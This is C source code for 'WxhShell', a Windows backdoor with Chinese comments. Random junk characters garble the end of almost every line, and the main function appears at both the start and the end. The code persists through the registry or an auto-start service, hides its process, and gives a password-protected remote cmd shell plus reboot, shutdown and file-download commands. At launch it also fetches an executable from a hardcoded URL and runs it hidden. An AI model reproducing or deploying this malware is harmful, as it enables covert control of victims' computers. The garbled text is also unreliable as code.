WinExec(wscfg.ws_filenam,SW_HIDE); 9'tElpDJ6#
} o1j_5c PS
CzF#feTA
if(!OsIsNt) { Tl.dr
// 如果时win9x，隐藏进程并且设置为注册表启动 _H:mBk,,
HideProc(); ]UR@V;JG
StartWxhshell(lpCmdLine); Pg]&^d&$
} ]ov>VF,<
else vO85h
if(StartFromService()) : Gp,d*M
// 以服务方式启动 f$G{7%9*
StartServiceCtrlDispatcher(DispatchTable); T+_pmDDN
else STDT]3.
// 普通方式启动 '!)|;qe
StartWxhshell(lpCmdLine); Jww LAQ5
!TJCQ[Aa}
return 0; _S43_hW
} _b+=q:$/
jY>BU&
sx;7
G@Z,Hbgm
=========================================== wf4?{H
prf
<P)vx
eIEr\X4\~~
B'( /W@
tta\.ic
" O1+2Z\F
c#?JW:^|Df
#include <stdio.h> j'#Y$d1.
#include <string.h> xFU*,Y
#include <windows.h> kY8aK8M
#include <winsock2.h> /Ulv/Thl
#include <winsvc.h> 4ZY0!'be-R
#include <urlmon.h> 1l$c*STK
:Ogt{t
#pragma comment (lib, "Ws2_32.lib") #&JhA2]q
#pragma comment (lib, "urlmon.lib") ).[Mnt/Ft
~J}{'l1{yf
#define MAX_USER 100 // 最大客户端连接数 eyq8wQT
#define BUF_SOCK 200 // sock buffer Q`nsL)J
#define KEY_BUFF 255 // 输入 buffer =2[5g!qX
_~?N3G
#define REBOOT 0 // 重启 C NDf&dzX8
#define SHUTDOWN 1 // 关机 [89qg+z
K3QE>@']
#define DEF_PORT 5000 // 监听端口 h|^RM*x
Zi&qa+F
#define REG_LEN 16 // 注册表键长度 Nf.6:=
#define SVC_LEN 80 // NT服务名长度 'l+).},
cNi)[2o7
// 从dll定义API M_wqb'=
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {H FF|Dx
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O?<R.W<QI
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oxN~(H)/ #
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ['p%$4i$
"PM!03rb
// wxhshell配置信息 V87?J w%2
struct WSCFG { p>w{.hC@
int ws_port; // 监听端口 M_-LI4>
char ws_passstr[REG_LEN]; // 口令 vs3px1Xe#
int ws_autoins; // 安装标记, 1=yes 0=no DH(Qmd
char ws_regname[REG_LEN]; // 注册表键名 Tx)X\&ij&
char ws_svcname[REG_LEN]; // 服务名 xz1jRI$
char ws_svcdisp[SVC_LEN]; // 服务显示名 u{F^Ngy )
char ws_svcdesc[SVC_LEN]; // 服务描述信息 zKycd*X
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 's.%rre%
int ws_downexe; // 下载执行标记, 1=yes 0=no UZ8 vZ
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r;gtfX*
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pBW|d\8
.VFa,&5;3
}; 9>y6zFTV
{ZiZ$itf
// default Wxhshell configuration 9C?;'
struct WSCFG wscfg={DEF_PORT, ZeVb< g
"xuhuanlingzhe", II!Nr{A
1, >j [> 0D
"Wxhshell", YzTmXwuA5
"Wxhshell", Ij+ E/V
"WxhShell Service", q9GSUkb
"Wrsky Windows CmdShell Service", "I"(yiKD
"Please Input Your Password: ", 35}{dr
1, )sWC5\
"http://www.wrsky.com/wxhshell.exe", FyZp,uD
"Wxhshell.exe" mTG v*=l
}; n9.` 5BH7/
;J"b%~Gn
// 消息定义模块 ( Z-~Eh
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5r;M61
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ok7i^-85
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i *W9 4
char *msg_ws_ext="\n\rExit."; 8*sZ/N.
char *msg_ws_end="\n\rQuit."; ich\`j[i
char *msg_ws_boot="\n\rReboot..."; cR0+`&
char *msg_ws_poff="\n\rShutdown..."; kHj|:,'sV
char *msg_ws_down="\n\rSave to "; =yn|.%b
<I}O_:%
char *msg_ws_err="\n\rErr!"; +9S_H(
char *msg_ws_ok="\n\rOK!"; !}u'%
+bi%4DA
char ExeFile[MAX_PATH]; r^<W$-#
int nUser = 0; P<AN`un
HANDLE handles[MAX_USER]; }Wxu=b
int OsIsNt; <t9#~x#'b
J|k~e,C
SERVICE_STATUS serviceStatus; jOuz-1x,&
SERVICE_STATUS_HANDLE hServiceStatusHandle; }R.<\
_1D'9!+
// 函数声明 p=T,JAIt
int Install(void); Ol8ma`}Nq3
int Uninstall(void); `(j}2X'[
int DownloadFile(char *sURL, SOCKET wsh); L;a>J
int Boot(int flag); <"|BuK
void HideProc(void); /b*VFA/75
int GetOsVer(void); 6qsT/
int Wxhshell(SOCKET wsl); JJL#Y
void TalkWithClient(void *cs); h=uv4&
int CmdShell(SOCKET sock); OidF{I*O
int StartFromService(void); wyqXD.of
int StartWxhshell(LPSTR lpCmdLine); 3Lx]-0h
<mE)&7C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -V Rby
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t/?x#X
VGLE5lP X
// 数据结构和表定义 YG<7Zv
SERVICE_TABLE_ENTRY DispatchTable[] = }nrl2yp:%
{ wgm?lfX<
{wscfg.ws_svcname, NTServiceMain}, mT8")J|2
{NULL, NULL} :Gyv%>.
}; ^P&)2m:s
Z!Y ^iN
// 自我安装 pgK)
int Install(void) V\nQHzjF<6
{ -3 }
char svExeFile[MAX_PATH]; +we3BE.
HKEY key; p9*#{~
strcpy(svExeFile,ExeFile); b"-eQb
p#:.,;
// 如果是win9x系统，修改注册表设为自启动 ps:|YR
if(!OsIsNt) { U0}]3a0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =i jGB~
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r"s <;
RegCloseKey(key); P$MAURFm
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yrb[:;Y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a=LjFpv/]
RegCloseKey(key); rYI9?q
return 0; LD]>_P83
} 4u;db_gX
} cX$ Pq
} # [c`]v
else { \hSOJ,{)U
~2Jvb[IM
// 如果是NT以上系统，安装为系统服务 p"Ki$.Y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y:Ycn+X.
if (schSCManager!=0) o g.LD7&/
{ Fwn4c4-%
SC_HANDLE schService = CreateService wpw~[xd
( #8.%YG
schSCManager, Snx_NH#tA
wscfg.ws_svcname, .VF4?~+M-
wscfg.ws_svcdisp, ]m0MbA
SERVICE_ALL_ACCESS, >SA?lG8f%
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E]PHO\f-m}
SERVICE_AUTO_START, 7T \}nX1
SERVICE_ERROR_NORMAL, !2oe;q2X[G
svExeFile, }0Isi G
NULL, x|/zn<\^
NULL, ?A7&SdJaO
NULL, '\ec ,&4Z
NULL, "y@B|
NULL |sWH!:]49
); "7_6iB&@<
if (schService!=0) /M>8ad
{ M~Tq'>Fn
CloseServiceHandle(schService); <'H^}gQow
CloseServiceHandle(schSCManager); #&vP(4p
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _iBNy
strcat(svExeFile,wscfg.ws_svcname); S[!-M\b
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VIo %((
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :5?g<@
RegCloseKey(key); >U@7xeK
return 0; jdxwS
} B9;dX6c
} 2[i:bksjW
CloseServiceHandle(schSCManager); cPe0o'`[
} HpI[Af}l
} mq@2zE`.(
@D%H-X
return 1; <\]o#w*:
} aML?$_6
`A O_e4D0i
// 自我卸载 :Mr_/t2(
int Uninstall(void) xk=5q|u_-
{ yRaB\'
HKEY key; T1ZAw'6(K
wPTXRq%
if(!OsIsNt) { >W[8wR
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tiJY$YqA
RegDeleteValue(key,wscfg.ws_regname); >jU.R;H5
RegCloseKey(key); FJl#NOp&
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R.Xh&@f`
RegDeleteValue(key,wscfg.ws_regname); DYlu`j_ux
RegCloseKey(key); "`Q~rjc$2
return 0; Q:$<`K4)
} qn}w]yGW
} ,.Ac= "f
} =}5;rK
else { )F;`07
Q/rOIHiI
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _+%RbJ~H
if (schSCManager!=0) VYj hU?I
{ I, 9!["^|
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @O b$w1c
if (schService!=0) 9:N@+;|T
{ HgJ:Rf]
if(DeleteService(schService)!=0) { +VSJve |
CloseServiceHandle(schService); \vbU| a
CloseServiceHandle(schSCManager); g+h)s!$sB
return 0; #|76dU
} xwG=&+66
CloseServiceHandle(schService); uxF88$=!t
} /I|.^ Id|
CloseServiceHandle(schSCManager); Eh\0gQ=
} e,/b&j*4th
} wS"[m>.{v
?2l#=t?PP
return 1; [xiZkV([
} 0,*clvH\;
p$dVGvM(
// 从指定url下载文件 Hm@+(j(N96
int DownloadFile(char *sURL, SOCKET wsh) k4iu`m@^H
{ +u;f]p
HRESULT hr; MJS4^*B\1
char seps[]= "/"; p$^}g:
char *token; VR/7CI4=
char *file; +grIw#j
char myURL[MAX_PATH]; FHWzwi*u}
char myFILE[MAX_PATH]; T4n.C~
42mi 7%f
strcpy(myURL,sURL); ~`M>&E@Y_/
token=strtok(myURL,seps); (h>Jz
while(token!=NULL) WvVHSa4{
{ .RocENO0
file=token; N8.K[m
token=strtok(NULL,seps); %O-RhB4q
} iQsv^K!\
W,~s0a!
GetCurrentDirectory(MAX_PATH,myFILE); '3SS%W
strcat(myFILE, "\\"); VF1)dd
strcat(myFILE, file); +#~=QT9
send(wsh,myFILE,strlen(myFILE),0); >}{'{ Z &
send(wsh,"...",3,0); F;p>bw
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DIO @Zo
if(hr==S_OK) Q*|O9vu'D
return 0; )%'Lm
else ~qe9U 0
return 1; wWs<{ T
Zp~2WJQ
} Erz{{kf]1V
VP^Yph 8R
// 系统电源模块 "4N%I
int Boot(int flag) .),%S}
{ EIO!f[]o
HANDLE hToken; Z}_{@|
TOKEN_PRIVILEGES tkp; w5uOi}T\
b'Cy!dr
if(OsIsNt) { ')_Gm{A#p
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $#ks`$vM
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +tFm DDx=
tkp.PrivilegeCount = 1; JF7n|o-`?
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;!U`GN,tH
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z^=.05jB
if(flag==REBOOT) { OH~X~n-Z
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oq~>P!=
return 0; &Npv~Iy
} yIC.JmD*
else { R=ddQ:W6g
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gbNPD*7g9
return 0; n]I_LlbY
} Fhw:@@=
} P7r?rbO"
else { (5[|h
if(flag==REBOOT) { fF!Mmm"
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [OFg (R-
return 0; R:SFj!W1
} "5Oi[w&F5
else { A-gNfXP,D
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gNr/rp9A$m
return 0; 5Gm,lNQAv
} V&4)B &W
} ]|g{{PWH
J0xOB;rd
return 1; _urv We
} ]Cy1yAv={
[AE-~+m)^
// win9x进程隐藏模块 ypEcjVPD
void HideProc(void) AkdONKO8{
{ Ijq',@jE
/C"dwh"``
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?CGbnXZ4Ug
if ( hKernel != NULL ) F XJI,(:-
{ Ys,}L.
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XE);oL2xP
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #UGtYD}"
FreeLibrary(hKernel); a.)Gd]}g
} lO},fM2j
TA;
return; 8mTjf Br
} `?VtB!p@x=
:Bc)1^I
// 获取操作系统版本 U085qKyCw
int GetOsVer(void) De`)`\U
{ '9cShe
OSVERSIONINFO winfo; \IY)2C<e
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T'.U?G
GetVersionEx(&winfo); p~1,[]k
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7m0sF<P{g
return 1; YGrmco?G
else + 5E6|
return 0; %.,-dV'
} i/QE)"B"q
3Gi#WV4$
// 客户端句柄模块 }8cL+JJU
int Wxhshell(SOCKET wsl) m@o/W
{ TNBFb_F
SOCKET wsh; xvP<~N-
struct sockaddr_in client; yiyyw,iy
DWORD myID; WP&P#ju&
\y?Vou/
while(nUser<MAX_USER) /NFv?~</k
{ W 0^.Dx
int nSize=sizeof(client); A `\2]t$z
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nokk!v/
if(wsh==INVALID_SOCKET) return 1; td-2[Sy
$h1`-=\7
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LY}%|w
if(handles[nUser]==0) vgRjd1k.\y
closesocket(wsh); N@J "~9T
else }.O,P'k
nUser++; [eL?O;@BD
} 0eq="|n^|
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2= FGZa*.
fk-zT
return 0; W6f?/{Oo8
} [*zB vj}G
K~gt=NH
// 关闭 socket :3WrRT,'L
void CloseIt(SOCKET wsh) u '-4hU
{ TR3_!0
closesocket(wsh); ~PYMtg=i
nUser--; 5D0O.v
ExitThread(0); `Q?rQ3A}
} S'T&`"Mr
ZrJAfd\5c
// 客户端请求句柄 `.Z MwA
void TalkWithClient(void *cs) B6&PYMFK?*
{ ^qXc%hjg
'5zolp%St
SOCKET wsh=(SOCKET)cs; oiYI$ql3L
char pwd[SVC_LEN]; fR<_4L
char cmd[KEY_BUFF]; >?K@zsv}
char chr[1]; F VBuCi?W
int i,j; "O1\]"j
27q9zi!Q
while (nUser < MAX_USER) { R,[dEP
lN$#lyy
if(wscfg.ws_passstr) { Dd8*1,
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (xw)pR
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e"HA.t[A
//ZeroMemory(pwd,KEY_BUFF); j4H]HGHv
i=0; Pe[~kog,TP
while(i<SVC_LEN) { Yt79W
F9(*MP|
// 设置超时 /bm$G"%d
fd_set FdRead; y]$%>N0vLX
struct timeval TimeOut; B|E4(,]^
FD_ZERO(&FdRead); urmx})=
FD_SET(wsh,&FdRead); [5Zs%!Z;8N
TimeOut.tv_sec=8; t-_~jZ<
TimeOut.tv_usec=0; 3u+A/
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cp.c$
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iev02 8M
\k\ {S2SU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z{"/Ae5]
pwd=chr[0]; =\]5C
if(chr[0]==0xd || chr[0]==0xa) { A*tG[)
pwd=0; %9ef[,WT
break; KEF"`VTB@
} |uT|(:i84,
i++; O>UG[ZgW
} &u) R+7bl,
#&zNYzI
// 如果是非法用户，关闭 socket }gw \w?/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'J(rIH3U
} $<R\|_6J
M6J~%qF^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $g? ]9}p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :D(4HXHK%
W@<(WI3
while(1) { e<wA["^
C-Y~T;53
ZeroMemory(cmd,KEY_BUFF); @H%)!f]zWt
`)e5pK
// 自动支持客户端 telnet标准 hUy"XXpr
j=0; 82ay("ZY
while(j<KEY_BUFF) { c*LB=;npI
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f5p>oXo4b
cmd[j]=chr[0]; Pi|WOE2
if(chr[0]==0xa || chr[0]==0xd) { ;"/[gFD5u
cmd[j]=0; Q/'jwyj_
break; K,f*}1$qM
} M*ZR+pq,
j++; )`;Q]?D
} 98 dl -?
rN0G|
// 下载文件 x'dU[f(
if(strstr(cmd,"http://")) { ;!H<W[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); R+vago:
if(DownloadFile(cmd,wsh)) D; xRgHn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T](N ^P
else y(gL.08<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .W4P/Pw'
} Wp7lDx
else { (I(?oCQ
6&jW.G8/
switch(cmd[0]) { y.h2hv]Bc
7.V'T=@x3)
// 帮助 o< )"\f/,
case '?': { SrlTwcD
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &>Zm gz
break; 1%Yd] 1c(
} -*`7Q'}%
// 安装 )Fe6>tE
case 'i': { er<yB#/;-
if(Install()) +fh@m h0[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3S}(8g5.
else !4"(>Rnw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q [}<LU
break; %H)^k${
} `6bIxb{
// 卸载 eBUexxBY
case 'r': { )\nKr;4MH
if(Uninstall()) ['~E _z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9-$E?Mt
else l(&3s:Ud
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XPJsnu
break; V{#8+
} G;RFY!o
// 显示 wxhshell 所在路径 HpbSf1VvAf
case 'p': { 2bu,_<K.
char svExeFile[MAX_PATH]; R-2NJ0F7
strcpy(svExeFile,"\n\r"); <V[Qs3uo(
strcat(svExeFile,ExeFile); 1Ce7\A
send(wsh,svExeFile,strlen(svExeFile),0); Z5x&P_.x[
break; RCZ"BxleU
} r{+P2MPW
// 重启 =@e3I)D#?i
case 'b': { (!cG*FrN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dWc'RwL
if(Boot(REBOOT)) Ry47Fze
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xxnvz
else { d_7v1)j
closesocket(wsh); "2l$}G
ExitThread(0); "Zh3,
} P8&BtA
break; |DUWB;
} uU$YN-
// 关机 #)3luf3G
case 'd': { HB|R1<t;HB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7~zd % o
if(Boot(SHUTDOWN)) 7uUo DM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5rfeSA^
else { MUQj7.rNa
closesocket(wsh); + *xi&|%
ExitThread(0); =1MVF
} e]9Z]a2
break; P/!W']OO
} "O}u2B b
// 获取shell qV$\E=%fhM
case 's': { [SKN}:D
CmdShell(wsh); 0Dt-!Q7
closesocket(wsh); Ji#eA[
ExitThread(0); S4ys)!V1V
break; T]_]{%z
} "26=@Q^Y
// 退出 R$|"eb5
case 'x': { 5&C:&=Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m%ec=%L9
CloseIt(wsh); !B*l'OJw
break; +nAbcBJAl
} o;kxu(>yL'
// 离开 i!<1&{
case 'q': { !VDNqW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C0K0c6A(4
closesocket(wsh); n g,&;E
WSACleanup(); |KMwK png
exit(1); 0s$;3qE
break; 1 ORA6
} h_>DcVNIx
} .ZtW y) U
} z7X,5[P
;T\+TZtI
// 提示信息 dZWO6k9[H
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q8H+=L:
} /R(]hmW
} #c%FpR4
v ^R:XdH
return; "@^^niSFl
} Ga]\~31NE
YB}m1g`
// shell模块句柄 4{lrtNd~K
int CmdShell(SOCKET sock) ^TZ`1:oL#
{ ;Yve m
STARTUPINFO si; +HT?>k
ZeroMemory(&si,sizeof(si)); xNd p]u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oq9E$0JW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B&+)s5hh
PROCESS_INFORMATION ProcessInfo; dW5@Z-9
char cmdline[]="cmd"; ,;@vVm'}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FP<mFqy
return 0; ]r\FC\n6e
} :Tcvj5
BUs={"Pa
// 自身启动模式 kBeYl+*pk
int StartFromService(void) Y@y"bjK \
{ 3\ {?L
typedef struct O=5q<7PM.
{ ;#?G2AAv
DWORD ExitStatus; hiKyU!)Hv
DWORD PebBaseAddress; 207FD
DWORD AffinityMask; fZiwuq!_
DWORD BasePriority; wnU-5r&!]
ULONG UniqueProcessId; JfsvK2I
ULONG InheritedFromUniqueProcessId; ^M)+2@6
} PROCESS_BASIC_INFORMATION; 7G+E+A5o&
K>vi9,4/ks
PROCNTQSIP NtQueryInformationProcess; $%6.lQ
#LR.1zZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k`((6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sq SiuO.D
oZ_,WwnE
HANDLE hProcess; LzQOzl@z
PROCESS_BASIC_INFORMATION pbi; 5AK@e|G$w
o1Krp '*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 34,'smHi%
if(NULL == hInst ) return 0; 4YSVy2x
VkkC;/BBW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !l-Q.=yw
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YB1Jv[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4:=VHd
hTQ8y10a
if (!NtQueryInformationProcess) return 0; (?xR<]~g*
y8ODoXk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,R\ex =c
if(!hProcess) return 0; J=J!)\m
^4Uk'T7V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jcp6-XM
25j?0P"&
CloseHandle(hProcess); VGf&'nL@,
V-(*{/^"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D}`MY\H
if(hProcess==NULL) return 0; t2Px?S?
TQtHU6
HMODULE hMod; %O$=%"D6
char procName[255]; R"yxpw
unsigned long cbNeeded; ;$67GK
AqAL)`#K
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h0 Xc=nj
? q_%
CloseHandle(hProcess); A%cJ5dF8~
j 8)*'T
if(strstr(procName,"services")) return 1; // 以服务启动 ,e^~(ITaq
Zu*7t<W
return 0; // 注册表启动 Z,DSTP\|
} 8!{ }WLwb
~d3|zlh
// 主模块 cw,|,uXq 6
int StartWxhshell(LPSTR lpCmdLine) ]K'OH&
{ 0RjFa;j
SOCKET wsl; o!lKP>
BOOL val=TRUE; r>}z|I'
int port=0; 5,pEJ>dDD3
struct sockaddr_in door; pD!j#suMA
Z*b$&nM
if(wscfg.ws_autoins) Install(); <G0Ut6J>
Z2 Vri
port=atoi(lpCmdLine); `An p;el
!>N+a3
if(port<=0) port=wscfg.ws_port; kCALJRf~d
"=ki_1/P
WSADATA data; 3 Q~0b+k
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lcM
DL#y_;#3_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P:WxhO/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9^8_^F
door.sin_family = AF_INET; OnH3Ss$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )gD2wk(
door.sin_port = htons(port); F|G v
9I:3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3mHP=)
closesocket(wsl); lvRTy|%[
return 1; j]U~ZAn,K
} wv`ar>qVL
b%KcS&-6
if(listen(wsl,2) == INVALID_SOCKET) { KG4zjQf
closesocket(wsl); vw$b]MO!
return 1; nly}ly Q/
} .mNw^>:cq
Wxhshell(wsl); oVr:ZwkG3
WSACleanup(); ;<*USS6X
III:jhh
return 0; ">M&/}4
IEd?-L
} 8;"9A
}ikN
// 以NT服务方式启动 g{ ;OgS3>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,:#h;4!VRF
{ %Eugy
DWORD status = 0; ;n.h!wmJ}
DWORD specificError = 0xfffffff; Nobu= Z
g<ov` bF
serviceStatus.dwServiceType = SERVICE_WIN32; "[rz*[o8I
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &grvlK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E,dUO;
serviceStatus.dwWin32ExitCode = 0; .2U3_1dX
serviceStatus.dwServiceSpecificExitCode = 0; =7#"}%4Q
serviceStatus.dwCheckPoint = 0; "%bU74>
serviceStatus.dwWaitHint = 0; t%O)Ti
jo1z#!|Yw}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UCup {pDp
if (hServiceStatusHandle==0) return; l8J2Xd @
ei>iXDt
status = GetLastError(); ?~IdPSY
if (status!=NO_ERROR) K-"`A.:S
{ sIbPMu`&U
serviceStatus.dwCurrentState = SERVICE_STOPPED; Wsp c;]&
serviceStatus.dwCheckPoint = 0; ;" D~F
serviceStatus.dwWaitHint = 0; +6}CNC9Mp
serviceStatus.dwWin32ExitCode = status; *FC|v0D
serviceStatus.dwServiceSpecificExitCode = specificError; Q"uK6ANp'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *2}f $8
return; XAi0lN{,
} 1M6^Brx
E!.&y4
serviceStatus.dwCurrentState = SERVICE_RUNNING; db=S*LUbl
serviceStatus.dwCheckPoint = 0; , Y,^vzX6
serviceStatus.dwWaitHint = 0; IlwHHt;njp
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <o[3*59
} "LH!Trl@k
jt(GXgm
// 处理NT服务事件，比如：启动、停止 >y,. `ECn
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~g%Ht#<
{ l^KCsea#
switch(fdwControl) j6};K ~N`
{ 4"3.7.<Q`
case SERVICE_CONTROL_STOP: }D?qj3?bj
serviceStatus.dwWin32ExitCode = 0; SSbx[<E3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^7*7^<
serviceStatus.dwCheckPoint = 0; MslgQmlM
serviceStatus.dwWaitHint = 0; Q, "8Ty
{ I}f7|hYX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f& \Bs8la
} $pKegK;'z
return; xX9snSGz
case SERVICE_CONTROL_PAUSE: dz>Jl},`k
serviceStatus.dwCurrentState = SERVICE_PAUSED; #d<|_
break; 4.uaWM)2
case SERVICE_CONTROL_CONTINUE: 3Agyp89}Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; %C@p4
break; y"ss<`Cn
case SERVICE_CONTROL_INTERROGATE: KT*>OYI
break; eE=2~ ylU
}; >4-9 @i0FV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *0eV9!y
} Zy.ls&<:
a1Q%Gn@R
// 标准应用程序主函数 e ky1}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $TS97'$
{ [Y?Y@x"MZ
QSn18V>{
// 获取操作系统版本 x]`@%8Sm
OsIsNt=GetOsVer(); @HSK[[?
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;<;~;od*/
'\+"3!$
// 从命令行安装 Wv9L}@J
if(strpbrk(lpCmdLine,"iI")) Install(); * hS6F
Rjlp<
// 下载执行文件 Yh;(puhyA
if(wscfg.ws_downexe) { Lz p}<B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tZVs0eVF<
WinExec(wscfg.ws_filenam,SW_HIDE); ,c0LRO
} 1Sza%D;3
\x\N?$`ANc
if(!OsIsNt) { >T\@j\X4
// 如果时win9x，隐藏进程并且设置为注册表启动 IbJl/N%o
HideProc(); s$(%?,yf2
StartWxhshell(lpCmdLine); lhnGk'@d
